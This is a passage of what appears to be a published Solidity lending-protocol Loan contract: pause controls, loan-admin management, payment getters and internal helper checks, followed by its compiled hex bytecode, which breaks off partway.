} /** @dev Triggers unpaused state. Restores functionality for certain functions. Only the Borrower or a Loan Admin can call this function. */ function unpause() external { _isValidBorrowerOrLoanAdmin(); super._unpause(); } /** @dev Sets a Loan Admin. Only the Borrower can call this function. @dev It emits a `LoanAdminSet` event. @param loanAdmin An address being allowed or disallowed as a Loan Admin. @param allowed Status of a Loan Admin. */ function setLoanAdmin(address loanAdmin, bool allowed) external { _whenProtocolNotPaused(); _isValidBorrower(); loanAdmins[loanAdmin] = allowed; emit LoanAdminSet(loanAdmin, allowed); } /**************************/ /*** Governor Functions ***/ /**************************/ /** @dev Transfers any locked funds to the Governor. Only the Governor can call this function. @param token Address of the token to be reclaimed. */ function reclaimERC20(address token) external { LoanLib.reclaimERC20(token, address(liquidityAsset), _globals(superFactory)); } /*********************/ /*** FDT Functions ***/ /*********************/ /** @dev Withdraws all available funds earned through LoanFDT for a token holder. @dev It emits a `BalanceUpdated` event. */ function withdrawFunds() public override { _whenProtocolNotPaused(); super.withdrawFunds(); emit BalanceUpdated(address(this), address(fundsToken), fundsToken.balanceOf(address(this))); } /************************/ /*** Getter Functions ***/ /************************/ /** @dev Returns the expected amount of Liquidity Asset to be recovered from a liquidation based on current oracle prices. @return The minimum amount of Liquidity Asset that can be expected by swapping Collateral Asset. */ function getExpectedAmountRecovered() external view returns (uint256) { uint256 liquidationAmt = _getCollateralLockerBalance(); return Util.calcMinAmount(_globals(superFactory), address(collateralAsset), address(liquidityAsset), liquidationAmt); } /** @dev Returns information of the next payment amount. @return [0] = Entitled interest of the next payment (Principal + Interest only when the next payment is last payment of the Loan) [1] = Entitled principal amount needed to be paid in the next payment [2] = Entitled interest amount needed to be paid in the next payment [3] = Payment Due Date [4] = Is Payment Late */ function getNextPayment() public view returns (uint256, uint256, uint256, uint256, bool) { return LoanLib.getNextPayment(repaymentCalc, nextPaymentDue, lateFeeCalc); } /** @dev Returns the information of a full payment amount. @return total Principal and interest owed, combined. @return principal Principal owed. @return interest Interest owed. */ function getFullPayment() public view returns (uint256 total, uint256 principal, uint256 interest) { (total, principal, interest) = LoanLib.getFullPayment(repaymentCalc, nextPaymentDue, lateFeeCalc, premiumCalc); } /** @dev Calculates the collateral required to draw down amount. @param amt The amount of the Liquidity Asset to draw down from the FundingLocker. @return The amount of the Collateral Asset required to post in the CollateralLocker for a given drawdown amount. */ function collateralRequiredForDrawdown(uint256 amt) public view returns (uint256) { return LoanLib.collateralRequiredForDrawdown( IERC20Details(address(collateralAsset)), IERC20Details(address(liquidityAsset)), collateralRatio, superFactory, amt ); } /************************/ /*** Helper Functions ***/ /************************/ /** @dev Checks that the protocol is not in a paused state. */ function _whenProtocolNotPaused() internal view { require(!_globals(superFactory).protocolPaused(), "L:PROTO_PAUSED"); } /** @dev Checks that `msg.sender` is the Borrower or a Loan Admin. */ function _isValidBorrowerOrLoanAdmin() internal view { require(msg.sender == borrower || loanAdmins[msg.sender], "L:NOT_BORROWER_OR_ADMIN"); } /** @dev Converts to WAD precision. */ function _toWad(uint256 amt) internal view returns (uint256) { return amt.mul(10 ** 18).div(10 ** IERC20Details(address(liquidityAsset)).decimals()); } /** @dev Returns the MapleGlobals instance. */ function _globals(address loanFactory) internal view returns (IMapleGlobals) { return IMapleGlobals(ILoanFactory(loanFactory).globals()); } /** @dev Returns the CollateralLocker balance. */ function _getCollateralLockerBalance() internal view returns (uint256) { return collateralAsset.balanceOf(collateralLocker); } /** @dev Returns the FundingLocker balance. */ function _getFundingLockerBalance() internal view returns (uint256) { return liquidityAsset.balanceOf(fundingLocker); } /** @dev Checks that the current state of the Loan matches the provided state. @param _state Enum of desired Loan state. */ function _isValidState(State _state) internal view { require(loanState == _state, "L:INVALID_STATE"); } /** @dev Checks that `msg.sender` is the Borrower. */ function _isValidBorrower() internal view { require(msg.sender == borrower, "L:NOT_BORROWER"); } /** @dev Checks that `msg.sender` is a Lender (LiquidityLocker) that is using an approved Pool to fund the Loan. */ function _isValidPool() internal view { address pool = ILiquidityLocker(msg.sender).pool(); address poolFactory = IPool(pool).superFactory(); require( _globals(superFactory).isValidPoolFactory(poolFactory) && IPoolFactory(poolFactory).isPool(pool), "L:INVALID_LENDER" ); } /** @dev Checks that "now" is currently within the funding period. */ function _isWithinFundingPeriod() internal view { require(block.timestamp <= createdAt.add(fundingPeriod), "L:PAST_FUNDING_PERIOD"); } /** @dev Transfers funds from the FundingLocker. @param from Instance of the FundingLocker. @param to Address to send funds to. @param value Amount to send. */ function _transferFunds(IFundingLocker from, address to, uint256 value) internal { from.pull(to, value); } /** @dev Emits a `BalanceUpdated` event for the Loan. @dev It emits a `BalanceUpdated` event. */ function _emitBalanceUpdateEventForLoan() internal { emit BalanceUpdated(address(this), address(liquidityAsset), liquidityAsset.balanceOf(address(this))); } /** @dev Emits a `BalanceUpdated` event for the FundingLocker. @dev It emits a `BalanceUpdated` event. */ function _emitBalanceUpdateEventForFundingLocker() internal { emit BalanceUpdated(fundingLocker, address(liquidityAsset), _getFundingLockerBalance()); } /** @dev Emits a `BalanceUpdated` event for the CollateralLocker. @dev It emits a `BalanceUpdated` event. */ function _emitBalanceUpdateEventForCollateralLocker() internal { emit BalanceUpdated(collateralLocker, address(collateralAsset), _getCollateralLockerBalance()); } }
0x608060405234801561001057600080fd5b50600436106103da5760003560e01c806364195ba81161020a578063a9691f3f11610125578063cf09e0d0116100b8578063e48671c411610087578063e48671c4146108e5578063e74f6166146108ed578063e920b1e1146108f5578063f52ec46c14610921578063f555278814610929576103da565b8063cf09e0d01461088a578063d8d7970014610892578063da9bf6e01461089a578063dd62ed3e146108b7576103da565b8063b4eae1cb116100f4578063b4eae1cb1461086a578063c296dcba14610872578063c9f4e4901461087a578063cee9666914610882576103da565b8063a9691f3f1461084a578063aabaecd614610852578063ac7c57801461085a578063b419857014610862576103da565b8063807763ab1161019d57806395d89b411161016c57806395d89b41146107cd578063a079a4dd146107d5578063a457c2d7146107f2578063a9059cbb1461081e576103da565b8063807763ab146107695780638456cb59146107715780638905fd4f1461077957806392769d941461079f576103da565b806374d7c62b116101d957806374d7c62b1461072b578063757116a01461073357806377903e3b1461073b5780637df1f1b914610761576103da565b806364195ba8146106ed578063705d5f24146106f557806370a08231146106fd578063743e5d1d14610723576103da565b806331a7958f116102fa5780634b27ef6c1161028d5780635c975abb1161025c5780635c975abb146106cd5780635e8bdbeb146106d557806360bd1f87146106dd57806363f04b15146106e5576103da565b80634b27ef6c146106715780634be7cb14146106795780634e97415f1461069f57806357ded9c9146106c5576103da565b8063443bb293116102c9578063443bb29314610606578063469cbfdb1461062c57806346c162de146106345780634ae01cdc1461063c576103da565b806331a7958f146105c257806339509351146105ca57806339c02899146105f65780633f4ba83a146105fe576103da565b806318160ddd1161037257806324600fc31161034157806324600fc31461056857806325af34cd146105705780632c3c12161461059c578063313ce567146105a4576103da565b806318160ddd1461051a5780631935011414610522578063209b2bca1461052a57806323b872dd14610532576103da565b8063095ea7b3116103ae578063095ea7b3146104c057806309f64d08146105005780630d49b38c14610508578063175f832914610510576103da565b806241c52c146103df578063067754581461041757806306fdde031461043b5780630895326f146104b8575b600080fd5b610405600480360360208110156103f557600080fd5b50356001600160a01b0316610931565b60408051918252519081900360200190f35b61041f610950565b604080516001600160a01b039092168252519081900360200190f35b610443610974565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561047d578181015183820152602001610465565b50505050905090810190601f1680156104aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610405610a0a565b6104ec600480360360408110156104d657600080fd5b506001600160a01b038135169060200135610a10565b604080519115158252519081900360200190f35b61041f610a2e565b61041f610a52565b610518610a76565b005b610405610e37565b610405610e3d565b61041f610e43565b6104ec6004803603606081101561054857600080fd5b506001600160a01b03813581169160208101359091169060400135610e67565b610518610ef5565b610578610fbf565b6040518082600481111561058857fe5b60ff16815260200191505060405180910390f35b61041f610fcd565b6105ac610ff1565b6040805160ff9092168252519081900360200190f35b610405610ffa565b6104ec600480360360408110156105e057600080fd5b506001600160a01b038135169060200135611000565b610405611054565b61051861105a565b6104056004803603602081101561061c57600080fd5b50356001600160a01b031661106c565b61040561109e565b6105186110c2565b6106446110f0565b60408051958652602086019490945284840192909252606084015215156080830152519081900360a00190f35b61040561120f565b6104ec6004803603602081101561068f57600080fd5b50356001600160a01b0316611215565b610405600480360360208110156106b557600080fd5b50356001600160a01b031661122a565b610405611293565b6104ec6112b7565b61041f6112c0565b6105186112e4565b61041f611323565b610405611347565b61040561134d565b6104056004803603602081101561071357600080fd5b50356001600160a01b0316611371565b61041f61138c565b6104056113b0565b61041f6113d4565b6107436113f8565b60408051938452602084019290925282820152519081900360600190f35b61041f61151a565b61051861153e565b6105186116a1565b6105186004803603602081101561078f57600080fd5b50356001600160a01b03166116b1565b610518600480360360408110156107b557600080fd5b506001600160a01b0381351690602001351515611786565b6104436117f6565b610518600480360360208110156107eb57600080fd5b5035611857565b6104ec6004803603604081101561080857600080fd5b506001600160a01b038135169060200135611dff565b6104ec6004803603604081101561083457600080fd5b506001600160a01b038135169060200135611e6d565b610405611e81565b61041f611e87565b610405611eab565b610405611eb1565b610405611eb7565b610405611edb565b610405611ffa565b610405612000565b610405612006565b61051861202a565b610405600480360360208110156108b057600080fd5b5035612073565b610405600480360360408110156108cd57600080fd5b506001600160a01b03813581169160200135166121a0565b6104056121cb565b61041f6121d1565b6105186004803603604081101561090b57600080fd5b506001600160a01b0381351690602001356121f5565b61040561231b565b61040561233f565b6001600160a01b0381166000908152600860205260409020545b919050565b7f0000000000000000000000007d622bb6ed13a599ec96366fa95f2452c64ce60281565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a005780601f106109d557610100808354040283529160200191610a00565b820191906000526020600020905b8154815290600101906020018083116109e357829003601f168201915b5050505050905090565b600d5481565b6000610a24610a1d6123fe565b8484612402565b5060015b92915050565b7f00000000000000000000000078ed86c1d54d4983ab33c66033587d182d80d7e681565b7f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee81565b610a7e6124ee565b610a8860016125be565b7351a189ccd2eb5e1168ddca7e59f7c8f39aa52232639b3134e1600c547f00000000000000000000000000000000000000000000000000000000000697807f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee610af033611371565b610af8610e37565b6040518663ffffffff1660e01b815260040180868152602001858152602001846001600160a01b03166001600160a01b031681526020018381526020018281526020019550505050505060206040518083038186803b158015610b5a57600080fd5b505af4158015610b6e573d6000803e3d6000fd5b505050506040513d6020811015610b8457600080fd5b5051610bc9576040805162461bcd60e51b815260206004820152600f60248201526e4c3a4641494c45445f544f5f4c495160881b604482015290519081900360640190fd5b60408051635432274f60e01b81526001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599811660048301527f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48811660248301527f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee811660448301527f00000000000000000000000078ed86c1d54d4983ab33c66033587d182d80d7e616606482015281517351a189ccd2eb5e1168ddca7e59f7c8f39aa5223292635432274f9260848082019391829003018186803b158015610cb757600080fd5b505af4158015610ccb573d6000803e3d6000fd5b505050506040513d6040811015610ce157600080fd5b508051602090910151601455601355610cf8612624565b600e5460145411610d2557601454600e54610d189163ffffffff6126a216565b600e819055601555610da0565b600e54601454610d3a9163ffffffff6126a216565b60168190556000600e55610da0906001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816907f000000000000000000000000ce04c94ed8e50177f1182c62cce9734bc3d818ce9063ffffffff6126e416565b610da86110c2565b600a805461ff001916610400179055601354601454601654601554604080519485526020850193909352838301919091526060830152517f4152c73dd2614c4f9fc35e8c9cf16013cd588c75b49a4c1673ecffdcbcda94039181900360800190a1604051600080516020613eb18339815191529060049080825b60ff16815260200191505060405180910390a1565b60025490565b600e5481565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b6000610e74848484612736565b610eea84610e806123fe565b610ee585604051806060016040528060288152602001613fc4602891396001600160a01b038a16600090815260016020526040812090610ebe6123fe565b6001600160a01b03168152602081019190915260400160002054919063ffffffff61286216565b612402565b5060015b9392505050565b610efd6124ee565b610f056128f9565b604080516370a0823160e01b8152306004820181905291516001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48169291600080516020613ef48339815191529184916370a08231916024808301926020929190829003018186803b158015610f8057600080fd5b505afa158015610f94573d6000803e3d6000fd5b505050506040513d6020811015610faa57600080fd5b505160408051918252519081900360200190a3565b600a54610100900460ff1681565b7f0000000000000000000000000eb96a53ec793a244876b018073f33b23000f25b81565b60055460ff1690565b60125481565b6000610a2461100d6123fe565b84610ee5856001600061101e6123fe565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61295116565b60145481565b6110626129ab565b61106a612a42565b565b6001600160a01b038116600090815260086020526040812054610a28906110928461122a565b9063ffffffff6126a216565b7f000000000000000000000000000000000000000000000000000000000000005a81565b60006110cc612ae0565b9050600081136110dc575061106a565b6110ed6110e882612b95565b612bda565b50565b60008060008060007351a189ccd2eb5e1168ddca7e59f7c8f39aa5223263f7dd03107f0000000000000000000000007d622bb6ed13a599ec96366fa95f2452c64ce602600c547f0000000000000000000000008dc5aa328142aa8a008c25f66a77eaa8e4b46f3c6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001838152602001826001600160a01b03166001600160a01b03168152602001935050505060a06040518083038186803b1580156111bd57600080fd5b505af41580156111d1573d6000803e3d6000fd5b505050506040513d60a08110156111e757600080fd5b5080516020820151604083015160608401516080909401519299919850965091945092509050565b60155481565b600b6020526000908152604090205460ff1681565b6001600160a01b038116600090815260076020526040812054600160801b90611285906112809061127461126f61126088611371565b6006549063ffffffff6123a516565b612cda565b9063ffffffff612d1b16565b612b95565b8161128c57fe5b0492915050565b7f000000000000000000000000000000000000000000000000000000000000089881565b600a5460ff1690565b7f0000000000000000000000008dc5aa328142aa8a008c25f66a77eaa8e4b46f3c81565b6112ec6124ee565b6112f660016125be565b60008060006113036113f8565b9250925092506000600d8190555061131e8383836000612d80565b505050565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b600f5481565b7f000000000000000000000000000000000000000000000000000000000006978081565b6001600160a01b031660009081526020819052604090205490565b7f0000000000000000000000002b8a8c54baa2a5a8e483c08ef556ba36371f2e1581565b7f00000000000000000000000000000000000000000000000000000000000d2f0081565b7f000000000000000000000000e88ab4cf1ec06840d16fed69c964ad9daff5c6c281565b600c546040805163348f8f0560e11b81526001600160a01b037f0000000000000000000000007d622bb6ed13a599ec96366fa95f2452c64ce6028116600483015260248201939093527f0000000000000000000000008dc5aa328142aa8a008c25f66a77eaa8e4b46f3c831660448201527f000000000000000000000000e88ab4cf1ec06840d16fed69c964ad9daff5c6c292909216606483015251600091829182917351a189ccd2eb5e1168ddca7e59f7c8f39aa522329163691f1e0a91608480820192606092909190829003018186803b1580156114d757600080fd5b505af41580156114eb573d6000803e3d6000fd5b505050506040513d606081101561150157600080fd5b5080516020820151604090920151909591945092509050565b7f000000000000000000000000ce04c94ed8e50177f1182c62cce9734bc3d818ce81565b6115466124ee565b61155060006125be565b604080516306742b0f60e01b81526001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48811660048301527f0000000000000000000000002b8a8c54baa2a5a8e483c08ef556ba36371f2e151660248201527f0000000000000000000000000000000000000000000000000000000060f3f0fc60448201527f00000000000000000000000000000000000000000000000000000000000d2f00606482015290517351a189ccd2eb5e1168ddca7e59f7c8f39aa52232916306742b0f916084808301926020929190829003018186803b15801561163e57600080fd5b505af4158015611652573d6000803e3d6000fd5b505050506040513d602081101561166857600080fd5b50516012556116756110c2565b600a805461ff001916610300179055604051600080516020613eb1833981519152906003908082610e22565b6116a96129ab565b61106a612fd7565b7351a189ccd2eb5e1168ddca7e59f7c8f39aa5223263a89d5ddb827f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486117167f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b604080516001600160e01b031960e087901b1681526001600160a01b03948516600482015292841660248401529216604482015290516064808301926000929190829003018186803b15801561176b57600080fd5b505af415801561177f573d6000803e3d6000fd5b5050505050565b61178e6124ee565b6117966130a7565b6001600160a01b0382166000818152600b6020908152604091829020805460ff1916851515908117909155825190815291517fa30926bb66c297ef5b745add0851be86e54885064eeb08b3dec89c878e53e9e69281900390910190a25050565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a005780601f106109d557610100808354040283529160200191610a00565b61185f6124ee565b6118676130a7565b61187160006125be565b600061189c7f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b90507f0000000000000000000000002b8a8c54baa2a5a8e483c08ef556ba36371f2e157f0000000000000000000000000000000000000000000000000000003a3529440083101561192b576040805162461bcd60e51b8152602060048201526014602482015273130e90535517d31517d49154555154d517d0535560621b604482015290519081900360640190fd5b611933613115565b83111561197d576040805162461bcd60e51b8152602060048201526013602482015272130e90535517d1d517d1955391115117d05355606a1b604482015290519081900360640190fd5b600e8390556119b2427f0000000000000000000000000000000000000000000000000000000000278d0063ffffffff61295116565b600c55600a805461ff001916610100179055611a4a7f000000000000000000000000ce04c94ed8e50177f1182c62cce9734bc3d818ce7f00000000000000000000000078ed86c1d54d4983ab33c66033587d182d80d7e6611a1286612073565b6001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5991692919063ffffffff6131de16565b6000826001600160a01b031663cc32d1766040518163ffffffff1660e01b815260040160206040518083038186803b158015611a8557600080fd5b505afa158015611a99573d6000803e3d6000fd5b505050506040513d6020811015611aaf57600080fd5b505160408051630b5096bd60e11b815290519192506000916001600160a01b038616916316a12d7a916004808301926020929190829003018186803b158015611af757600080fd5b505afa158015611b0b573d6000803e3d6000fd5b505050506040513d6020811015611b2157600080fd5b50516040805163a5a2760560e01b815290519192506000916001600160a01b0387169163a5a27605916004808301926020929190829003018186803b158015611b6957600080fd5b505afa158015611b7d573d6000803e3d6000fd5b505050506040513d6020811015611b9357600080fd5b505190506000611bbb612710611baf898663ffffffff6123a516565b9063ffffffff61236316565b601181905590506000611bda612710611baf8a8863ffffffff6123a516565b9050611be7868483613238565b611c25867f000000000000000000000000ce04c94ed8e50177f1182c62cce9734bc3d818ce611c20856110928d8763ffffffff6126a216565b613238565b611c3182611092613115565b601281905550856001600160a01b0316639890220b6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611c7257600080fd5b505af1158015611c86573d6000803e3d6000fd5b50505050611c926110c2565b611c9a612624565b611ca26132b5565b611caa613320565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b0316836001600160a01b0316600080516020613ef48339815191527f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03166370a08231876040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015611d6357600080fd5b505afa158015611d77573d6000803e3d6000fd5b505050506040513d6020811015611d8d57600080fd5b505160408051918252519081900360200190a360408051600181529051600080516020613eb18339815191529181900360200190a16040805189815290517febf485edb8aa02238294ff7cda84b77f5afafa105e34f3bbf866534b7b5bd40e9181900360200190a15050505050505050565b6000610a24611e0c6123fe565b84610ee5856040518060600160405280602581526020016140836025913960016000611e366123fe565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff61286216565b6000610a24611e7a6123fe565b8484612736565b60095481565b7f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c59981565b60115481565b600c5481565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080611ee661339b565b90507395f9676a34af2675b63948ddba8f8c798741a52a63c1e37186611f2b7f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b6040805160e084901b6001600160e01b03191681526001600160a01b0392831660048201527f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599831660248201527f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48909216604483015260648201859052516084808301926020929190829003018186803b158015611fc857600080fd5b505af4158015611fdc573d6000803e3d6000fd5b505050506040513d6020811015611ff257600080fd5b505191505090565b60135481565b60165481565b7f0000000000000000000000000000000000000000000000000000000060f3f0fc81565b6120326124ee565b61203c60016125be565b60008060008061204a6110f0565b600d8054600019019055939750919550935090915061206d905084848484612d80565b50505050565b60408051630f6a160160e31b81526001600160a01b037f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c599811660048301527f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48811660248301527f000000000000000000000000000000000000000000000000000000000000000060448301527f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee1660648201526084810183905290516000917351a189ccd2eb5e1168ddca7e59f7c8f39aa5223291637b50b0089160a480820192602092909190829003018186803b15801561216e57600080fd5b505af4158015612182573d6000803e3d6000fd5b505050506040513d602081101561219857600080fd5b505192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60105481565b7f000000000000000000000000ee3e59d381968f4f9c92460d9d5cfcf5d3a6798781565b600a5460ff1615612240576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6122486124ee565b61225260006125be565b61225a613433565b612262613686565b6122bd6001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816337f0000000000000000000000002b8a8c54baa2a5a8e483c08ef556ba36371f2e158463ffffffff6131de16565b60006122c882613722565b90506122d483826137c7565b6040805183815290516001600160a01b038516917f726d5f1a838fe31748f737fa3ae5539ccff95952adfc593a1299532b643ff7a8919081900360200190a261131e6132b5565b7f0000000000000000000000000000000000000000000000000000003a3529440081565b7f0000000000000000000000000000000000000000000000000000000000278d0081565b6000610eee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061386e565b6000826123b457506000610a28565b828202828482816123c157fe5b0414610eee5760405162461bcd60e51b8152600401808060200182810382526021815260200180613fa36021913960400191505060405180910390fd5b3390565b6001600160a01b0383166124475760405162461bcd60e51b81526004018080602001828103825260248152602001806140116024913960400191505060405180910390fd5b6001600160a01b03821661248c5760405162461bcd60e51b8152600401808060200182810382526022815260200180613f146022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6125177f000000000000000000000000908cc851bc757248514e060ad8bd0a03908308ee613058565b6001600160a01b031663425fad586040518163ffffffff1660e01b815260040160206040518083038186803b15801561254f57600080fd5b505afa158015612563573d6000803e3d6000fd5b505050506040513d602081101561257957600080fd5b50511561106a576040805162461bcd60e51b815260206004820152600e60248201526d130e941493d513d7d4105554d15160921b604482015290519081900360640190fd5b8060048111156125ca57fe5b600a54610100900460ff1660048111156125e057fe5b146110ed576040805162461bcd60e51b815260206004820152600f60248201526e4c3a494e56414c49445f535441544560881b604482015290519081900360640190fd5b7f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5996001600160a01b03167f00000000000000000000000078ed86c1d54d4983ab33c66033587d182d80d7e66001600160a01b0316600080516020613ef483398151915261268f61339b565b60408051918252519081900360200190a3565b6000610eee83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612862565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261131e9084906138d3565b612741838383613984565b600061275b61126f836006546123a590919063ffffffff16565b6001600160a01b03851660009081526007602052604081205491925090612788908363ffffffff612d1b16565b6001600160a01b03808716600090815260076020526040808220849055918716815290812054919250906127c2908463ffffffff613aeb16565b6001600160a01b0380871660009081526007602090815260409182902084905581518681529151939450918916927ff694bebd33ada288ae2f4485315db76739e2d5501daf315e71c9d8f841aa7773929181900390910190a26040805182815290516001600160a01b038716917ff694bebd33ada288ae2f4485315db76739e2d5501daf315e71c9d8f841aa7773919081900360200190a2505050505050565b600081848411156128f15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156128b657818101518382015260200161289e565b50505050905090810190601f1680156128e35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000612903613b50565b905080156110ed576129456001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816338363ffffffff6126e416565b61294d612ae0565b5050565b600082820183811015610eee576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b336001600160a01b037f000000000000000000000000ce04c94ed8e50177f1182c62cce9734bc3d818ce1614806129f15750336000908152600b602052604090205460ff165b61106a576040805162461bcd60e51b815260206004820152601760248201527f4c3a4e4f545f424f52524f5745525f4f525f41444d494e000000000000000000604482015290519081900360640190fd5b600a5460ff16612a90576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b600a805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa612ac36123fe565b604080516001600160a01b039092168252519081900360200190a1565b600954604080516370a0823160e01b81523060048201529051600092916001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4816916370a0823191602480820192602092909190829003018186803b158015612b4e57600080fd5b505afa158015612b62573d6000803e3d6000fd5b505050506040513d6020811015612b7857600080fd5b50516009819055612b8f908263ffffffff613aeb16565b91505090565b600080821215612bd6576040805162461bcd60e51b8152602060048201526007602482015266534d493a4e454760c81b604482015290519081900360640190fd5b5090565b6000612be4610e37565b11612c28576040805162461bcd60e51b815260206004820152600f60248201526e4644543a5a45524f5f535550504c5960881b604482015290519081900360640190fd5b80612c32576110ed565b612c69612c3d610e37565b612c5183600160801b63ffffffff6123a516565b81612c5857fe5b60065491900463ffffffff61295116565b60065560408051828152905133917f26536799ace2c3dbe12e638ec3ade6b4173dcf1289be0a58d51a5003015649bd919081900360200190a260065460408051918252517f1f8d7705f31c3337a080803a8ad7e71946fb88d84738879be2bf402f97156e969181900360200190a150565b80600081121561094b576040805162461bcd60e51b815260206004820152600760248201526629a6aa9d27a7a160c91b604482015290519081900360640190fd5b6000828201818312801590612d305750838112155b80612d455750600083128015612d4557508381125b610eee5760405162461bcd60e51b8152600401808060200182810382526021815260200180613f5c6021913960400191505060405180910390fd5b600d54601054612d96908463ffffffff61295116565b6010558315612db657600f54612db2908563ffffffff61295116565b600f555b8015612e1457600c54612def907f0000000000000000000000000000000000000000000000000000000000278d0063ffffffff61295116565b600c558315612e0f57600e54612e0b908563ffffffff6126a216565b600e555b612f17565b6000600e819055600a805461ff001916610200179055600c556001600160a01b037f00000000000000000000000078ed86c1d54d4983ab33c66033587d182d80d7e61663f2d5d56b7f000000000000000000000000ce04c94ed8e50177f1182c62cce9734bc3d818ce612e8561339b565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015612ed457600080fd5b505af1158015612ee8573d6000803e3d6000fd5b50505050612ef4612624565b60408051600281529051600080516020613eb18339815191529181900360200190a15b612f526001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb481633308863ffffffff6131de16565b612f5a6110c2565b7fd0eb4a53827b5b6d9df4e56deb84ebbed98927c1d73f2468eef32f3c286d7a6085858584600e5460008711612f91576000612f95565b600c545b604080519687526020870195909552858501939093526060850191909152608084015260a083015284151560c0830152519081900360e00190a161177f613320565b600a5460ff1615613022576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b600a805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258612ac36123fe565b6000816001600160a01b031663c31245256040518163ffffffff1660e01b815260040160206040518083038186803b15801561309357600080fd5b505afa158015612182573d6000803e3d6000fd5b336001600160a01b037f000000000000000000000000ce04c94ed8e50177f1182c62cce9734bc3d818ce161461106a576040805162461bcd60e51b815260206004820152600e60248201526d261d2727aa2fa127a92927aba2a960911b604482015290519081900360640190fd5b60007f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03166370a082317f0000000000000000000000002b8a8c54baa2a5a8e483c08ef556ba36371f2e156040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156131ad57600080fd5b505afa1580156131c1573d6000803e3d6000fd5b505050506040513d60208110156131d757600080fd5b5051905090565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261206d9085906138d3565b826001600160a01b031663f2d5d56b83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561329857600080fd5b505af11580156132ac573d6000803e3d6000fd5b50505050505050565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03167f0000000000000000000000002b8a8c54baa2a5a8e483c08ef556ba36371f2e156001600160a01b0316600080516020613ef483398151915261268f613115565b604080516370a0823160e01b8152306004820181905291516001600160a01b037f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb48169291600080516020613ef48339815191529184916370a08231916024808301926020929190829003018186803b158015610f8057600080fd5b60007f0000000000000000000000002260fac5e5542a773aa44fbcfedf7c193bc2c5996001600160a01b03166370a082317f00000000000000000000000078ed86c1